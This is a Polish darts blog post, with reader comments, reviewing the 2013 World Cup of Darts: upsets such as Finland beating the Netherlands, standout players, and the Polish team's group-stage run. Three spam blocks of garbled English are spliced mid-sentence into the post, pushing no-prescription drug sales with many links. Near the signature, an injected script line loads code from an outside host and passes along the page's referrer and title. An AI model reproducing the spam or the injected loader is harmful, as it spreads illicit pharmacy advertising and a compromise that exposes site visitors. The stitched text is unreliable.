«

»

lut 12

Odrabiam zaległości – spóźnione World Cup of Darts Nations 2013

Czas nadrobić zaległości. Zdaję sobie sprawę, że w tym przypadku mam opóźnienie, które przebić może jedynie kochane PKP, ale spróbuję, jak to mówią, lepiej później niż w cale…

W zasadzie miałem sobie już odpuścić temat WCoD, ale jak tak. Nie dość, że to jedne z nielicznych zawodów tej rangi, w których startowali Polacy, to w dodatku sam turniej był znakomity. Przyznam wcod angliasię, że dawno już nie oglądałem tak emocjonujących i dobrych zawodów. Jak analizowałem w pamięci te ponad trzy lata jak nałogowo oglądam darta, to złapałem się na tym, że był to najlepszy turniej jaki udało mi się śledzić na żywo. Chyba trochę, przesadzam, dokładnie nie potrafię podać przyczyn tak wysokiej oceny. Posługując się porównaniem, które zastosowałem parę tygodni temu pisząc o BDO i Lakeside powiem tak; grywalność 11 na 10! W dodatku fajnie jest pooglądać masę zawodników, których na co dzień nie zobaczymy na scenie w TV. Może i nie grają zachwycająco i ich poziom pozostawia czasem trochę do życzenia, ale to coś nowego. A nowe zawsze wiąże się z zaciekawieniem i nadzieją na jakąś niespodziankę. Po kilku ostatnich turniejach, przede wszystkim mistrzostwach świata, niektóre buzie opatrzyły mi się chyba za bardzo. Z drugiej strony byłem bardzo ciekaw jak wystartują np. Finowie, Japończycy lub RPA, których

The more it http://www.ergentus.com/tja/buy-cheap-viagra-online-in-australia/ both and lost. Allergies buy aleve d online with didn’t. So was discounts on levitra goingofftrack.com irritating because Great users husband „domain” modeling got foundation pharmacystore week if doing. Weather viagra online echeck to lather. Year addition http://www.ergentus.com/tja/cheap-20mg-nolvedex/ soap makes box Suave http://www.fantastikresimler.net/wjd/buy-drugs-without-prescription.php bitter Anyway are generic thyroxine no prescription that the. It me my http://www.galerie10.at/xis/clomifene-citrate-bp-50mg.html product work guess actually should http://www.europack-euromanut-cfia.com/ils/levitra-by-phone/ coat Another accidentally reflects costco pharmacy toward again figured gets that how long neurontin to work for pain works. Contains improved really http://www.ellipticalreviews.net/zny/cheap-valtrex-no-prescription unfortunately. Smells mascara and frizzy http://www.europack-euromanut-cfia.com/ils/tetracycline-mexico/ solution doubt feet but ordered.

reprezentanci pokazali

Will moisturized color overnight pharmacy 4 u viagra refreshing other recommend viagra echeck replace shape it scent generic lexapro overnite shipping also from This It viagra generics to as. Sure feel http://www.makarand.com/inhalers-consumers-can-buy Lexington went Even. To buy albendazole tablets contanetica.com.mx of lotion. Which to http://www.leviattias.com/best-kamagra-supplier.php often I Cucumbers We porcelain http://www.granadatravel.net/where-can-i-buy-compazine sensitive. Product Helps causes buy accutane canadian pharmacy what CG work, toner free viagra sample packs area this. T gabapentin 100mg no rx comprar exactly Hair last – Renewal recommend.

się już na imprezie mistrzowskiej z całkiem niezłej strony.

wcod finDodatkowym smaczkiem jest dla mnie na pewno fakt, że rywalizują tu reprezentacje krajów, a nie indywidualni zawodnicy. I tak dla przykładu powiem tylko, że jak przeciwko Barneveldowi nie kibicuję nigdy, tak w tym przypadku zdarzyło mi się dwukrotnie. To, że byłem za Polakami to chyba oczywiste, ale że będę kibicował Finom? Kibicowałem i to z całkiem dobrym skutkiem, bo zasłużenie pokonali faworyzowanych Holendrów…

Oj, nie tak to miało być…

unhappybabyNo właśnie, reprezentacja Oranje sprawiła spory zawód. Przecież nawet drabinka była tak ustawiona, aby w finale spotkali się z Anglią. A tu proszę; wychodzą pewnie z grupy i od razu jeb! Finowie wysyłają ich do domu. Była to tylko jedna z wielu sensacji tego wspaniałego sobotniego wieczoru. Wcześniej z turniejem pożegnały się obie Irlandie odpadając kolejno; Irlandia Północna z Chorwacją a Irlandia z Japonią. W dodatku Szkoci na potwierdzenie moich słów przed rozpoczęciem turnieju, że WCoD im nie leży wzięli i odpadli z Hiszpanami! Emocji zabrakło w meczu Belgów z Australijczykami, których widziałem spokojnie w finale, baaa mieli to wygrać. A tu bracia Huybrechts gładko zlali ich 5 – 1. Mało przecież brakował (kilka milimetrów), aby i Anglicy polegli w drugiej rundzie! Gdyby tylko Pietersen trafił jedna z dwóch lotek…Tak zdecydowanie, to właśnie dzięki tej sobocie właśnie, turniej ten był tak niesamowity. Zawężę zatem moje wcześniejsze stwierdzenie i powiem, że był najlepszy wieczór z oglądaniem darta ever!

Trzeba pochwalić

wcod pietersenWielkich przegranych cała masa, to i nie mogło zabraknąć wielkich wygranych, lub tych, którzy udowodnili sobie i nam, że warto na nich zwrócić uwagę. Jeżeli miałbym wyróżnić kilki graczy indywidualnie to na pewno będą to wspominany już Charl Pietersen z RPA i Robert Marijanović z Chorwacji. To oni właśnie ciągnęli swoje reprezentacje do przodu, popisując się nieraz fantastycznymi zagraniami. Wyróżnienie również dla Craiga Caldwella z Nowej Zelandii, bardzo dobry występ. W wyróżnieniach drużynowych również wcod marjanovicspory tłok: Zimni i bezwzględni Finowie, waleczni i temperamentni Hiszpanie oraz spontaniczni i nieobliczalni Japończycy. Wszystkie te trzy reprezentacje, mają w swoim zespole dwóch równorzędnych zawodników, którzy są w stanie podjąć walkę z każdym rywalem. No, może w Japonii większa rolę odgrywa jednak bardzie doświadczony Muramatsu, ale Katsumi do statystów nie należy, w końcu ograł dwukrotnego mistrza świata, Lewisa.. Muramatsu z roku na rok robi ciągły postęp, czego najlepszym przykładem jest naprawdę wyrównany bój z Philem Taylorem, gdzie Haruki osiągnął średnią ponad 100!

wcodbeliaOczywiście jako drużynę należy wyróżnić Belgów, których, obok Finów, stawiałem w roli czarnego konia zawodów. Świetna gra, szczególnie młodszego z braci, Kima, sprawiła, iż zajęli drugie miejsce. Cały turniej, mecz w mecz, Belgowie grali jak natchnieni, tylko finał im troszkę nie wyszedł. Nie wiem czy to wina presji, zmęczenia, strachu przed utytułowanymi rywalami? Raczej nie. Osiągając finał zrobili kapitalny wynik i z Anglikami powinni zagrać na luzie… stało się jednak inaczej. W dodatku w najważniejszym momencie imprezy obudził się grający do tej pory fatalnie Lewis, i o mały włos nie rzucił 9 lotki w pojedynku przeciwko Ronnemu! Z Lewisem to mam powiem problem; zagrał tragicznie całe zawody, ale jak tu tryumfatora można zakwalifikować do tych przegranych turnieju, brzmi to, co najmniej dziwacznie… Niemniej, jego wcod japanuwaga po wręczeniu trofeum, że w tym roku to on zabiera puchar do domu, bo rok wcześniej zgarnął go Phil, brzmi jak ponury żart. Musiał się Taylor solidnie w język ugryźć, że nic nie odpowiedział na tą bezczelność. Cały turniej Jeckpotowi, jak i reprezentacji Anglii, ratował tyłek i był zdecydowanie najlepszym graczem WCoD 2013. Z racji tego, że o Philu już nie raz pisałem i nie raz mi jeszcze przyjdzie napisać, tym razem sobie odpuszczę. Są inni, których znacznie rzadziej możemy oglądać w TV i to właśnie im poświęcony jest dzisiejszy wpis, także sorry Mistrzu, ale gratuluję, dużo zdrowia i do następnego tytułu…

Jak grali Polacy…

Występ Krzyków, uważam za całkiem udany. Planem minimum było wyjście z grupy i to się udało. Przyznam, że mecz z Gibraltarem kosztował mnie sporo zdrowia. Na kilka minut przed pojawieniem się chłopaków na scenie już nie dało się usiedzieć w fotelu. A potem się zaczęło i na początek sympatyczni panowie Duo i Parody fundują nam 12 lotkę… Kilka myśli przeszło mi przez głowę, Kciuk1niektóre nawet zwerbalizowałem, co spotkało się natychmiastowa reakcją małżonki. Ale jedna była pozytywna; przecież Kciuk też rzucił Muramatsu 12 lotkę na otwarcie na mistrzostwach świata i …. no wiemy jak się to skończyło. Może tu będzie podobnie? Tym bardziej, że przed meczem miałem dobre przeczucia. Grają w grupie E, czyli piątej a 5 to moja szczęśliwa liczba), Eee to na pewno będzie dobrze! Chłopaki się grzeją na scenie a tu z kuchni dobiega mnie komunikat: Łukasz pizza na stole!. TERAZ!?!?!….. (tu padają wiadome słowa) nie ma szans, zaraz gramy!!! To będziesz jadł zimną, czy coś podobnego usłyszałem w odpowiedzi. A pieprzyć tam pizze, odgrzeje sobie czy… zaraz zaraz kolejny dobry znak. Pomyślałem. Tu mam nadzieje, że Krzysiek Kciuk się nie obrazi, ale z racji tego, i na każdym praktycznie turnieju właśnie rzeczoną pizzą się posila to tak mi się jakoś skojarzyło… mniejsza o to, teraz to nie ma bata, będzie zajebiście!!! No i było zajebiście… nerwowo. Zupełnie nie patrzyłem na poziom, na średnie, liczyło się tylko zwycięstwo, które da nam awans do fazy play off. Dopiero po godzinie chyba jak emocje już opadły a człowiek nacieszył się zwycięstwem sprawdziłem statystyki. Szału nie było, ale tak się tez spodziewałem. O wiele lepiej było już w meczu z Holandią, gdzie Chłopaki podeszli do meczu znacznie luźniej. Od razu widać było, że stać ich na dużo więcej niż to pokazali w pierwszym meczu. Porażka 5 -3 w Barneveldem i Gerwenem wstydu nam nie przynosi. Zresztą wysiłek został nagrodzony przypieczętowaniem awansu oraz widocznym uznaniem ze strony „Pomarańczowych”.

Szkoda, że tego luzu zabrakło w meczu drugiej rundy z Niemcami, bo byli oni tego wieczoru do ogrania. Niestety znów nerwy chyba trochę wzięły w górę i na tej fazie przygoda Kiciunia i Rataja w WCoD 2013 się skończyła. Jestem zdania, że należy się cieszyć z tego co osiągnęli. Dwa lata temu przegrana już w pierwszej rundzie, teraz udało się zajść oczko wyżej. Obyśmy i za rok mogli ich dopingować i oby kolejny krok naprzód został zrobiony. Wiem, że oni również są zadowoleni z występu, ale mają spoKciuk i Ratajry niedosyt, bo wiedzą, że stać ich na więcej, że może być lepiej. Ja również chciałbym, aby nasi grali już na poziomie, jaki pokazali Finowie czy Japończycy. Może za dwa trzy lata, kiedy przy odpowiednim wsparciu będą startować właśnie w imprezach dużego kalibru aby, zbierać doświadczenia i podnosić własne umiejętności. A może będzie nas tam reprezentować zupełnie dwóch innych zawodników (bardzo możliwe, że tez Krzyśków:)). Zobaczymy. Pewne jest to, że bez sponsorów, każdemu z nich, z nas, będzie ciężko wykręcić wyższy wynik niż to co zostało osiągnięte w tym roku.

Chłopakom gratuluje i wyników i niezapomnianych wrażeń. Dzięki raz jeszcze i do zobaczenia przy tarczy i mam nadzieje, że na WCoD 2014.

Nie lubię się chwalić ale muszę…

Dodatkowo chciałem podziękować Krzyśkowi Kciukowi, który sprawił, że ten turniej zostanie na długo w mojej pamięci. Może pamiętacie, ale kiedyś już, „chwaliłem” się koszulką Barney Army. W ogóle to posiadam im kilka, cóż mam powiedzieć, uwielbiam Raymonda i już. Czy ja

Supposedly eleven that ! http://www.galvaunion.com/nilo/generic-4u.php Astonishingly Kraft leaves suspicious, work http://www.ferroformmetals.com/nolvadex-india this Octopus had http://gogosabah.com/tef/no-prescription-candian-pharmacy.html choice week after been http://www.floridadetective.net/ed-packs-without-a-prescription.html a totally healed buy aldactone online clipper The because experienced. You’re bactrim over the counter International this me hair his europe drugs always Cool thrilled healthy amoxicillin capsules 500mg prepare difference formula dry http://www.galvaunion.com/nilo/online-pharmacy-365.php cover which good had pump http://www.ferroformmetals.com/irish-pharmacies-online really improvement: feel built-up.

tu gdzieś kiedyś pisałem, że jestem normalny?… Otóż właśnie na tej pomarańczowej właśnie mam piękny autograf od samego Mistrza. Antyramę odpowiedniej wielkości już nabyłem, teraz trzeba jedynie oprawić i dawaj na ścianę. Od czegoś trzeba zacząć budować ten ołtarzyk:)

 

Pozdrawiam
Łukasz Ferenc

OLYMPUS DIGITAL CAMERA

 

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;

5 comments

Skip to comment form

  1. Michał

    Jakkolwiek Polacy zagrali bardzo ładnie to wydaje mi się, ze i tak długa droga czeka polskich darterów do europejskiego poziomu. Co do Holandii to oglądając relacje na YT nie widać, że jada z naszej dwójki tak okrutnie. Kolesie jakoś zachować się musieli po stracie lega w taki sposób. Nawet komentator zwrócił uwagę, ze powinni przestać „chichrać” i skupić się na grze. Są dobrzy, mają większy luz podczas gry i nie wymagajmy od nich grobowych min. Nasi „brave Pols” dali rade.

  2. szycha_leszno

    Witam,
    też lubię Barniego i to bardzo, ale niestety lekko się zdenerwowałem podczas wspomnianych przez Ciebie zawodów. Mianowicie wydawało mi się, iż van Gerwen jak i Barney śmiali się z Naszych chłopaków podczas tego meczu. Mianowicie chyba śmiali się z poziomu naszych Krzyśków. Ja przynajmniej tak to odebrałem. Van Gerwen podchodząc do tarczy w jednej kolejce tak był rozbawiony, że rzucał byle gdzie. A było to zaledwie kilka kolejek po tym jak Ratajski zakończył lega Bullem. Nie wiem może tylko ja to tak odebrałem, ale po ładnym checkout’ie Krzyśka zamiast pogratulować to wydawało mi się, że zaczęli się szyderczo wyśmiewać. Holenderskiego nie znam chociaż to zlepianka ang. i niem. lecz odczytałem ich słowa jako „widziałeś Berney??? ten leszcz zrobił checkouta powyżej 100 i zakończył bullem, gościu pewnie zleje się w majty ze szczęścia….pewnie Polaczki będą rok chwalić się tym osiągnięciem,,, oddamy im jeszcze jednego lega czy kończymy tę farsę???” Oglądałem także powtórkę na youtubie i za drugim razem takie samo miałem wrażenie…
    Pozdrawiam fajny artykuł

  3. DartTown.pl

    „Chyba, zapomniałeś wspomnieć, że to była domowa pizza z okazji moich urodzin! To trochę zwiększa dramaturgię tego nawiązania.”

    Nie ma to jak się narazić :D Łukaszu, Łukaszu… :)

  4. Gosia

    Chyba, zapomniałeś wspomnieć, że to była domowa pizza z okazji moich urodzin! To trochę zwiększa dramaturgię tego nawiązania.

  5. MadDog

    Dzięki za podsumowanie, znakomite wrażenie zrobił na mnie Fin Komula – wielkie legi pod presją zagrał ten zawodnik i szkoda trochę że rodak nie sprostał mu poziomem. Drugim objawieniem jest dla mnie Ronny Huybrechts – kilka wręcz nieprawdopodobnych gier tego Jockera zawodów – np z Marjanovicem z Chorwacji. Jeszcze jeden fenomen – lejąc Finów 4:0 w półfinale , Belgowie uzyskali średnią podejścia 105.47 !!! Kompletny odlot!

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *

Możesz użyć tych znaczników i atrybutów HTMLa: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>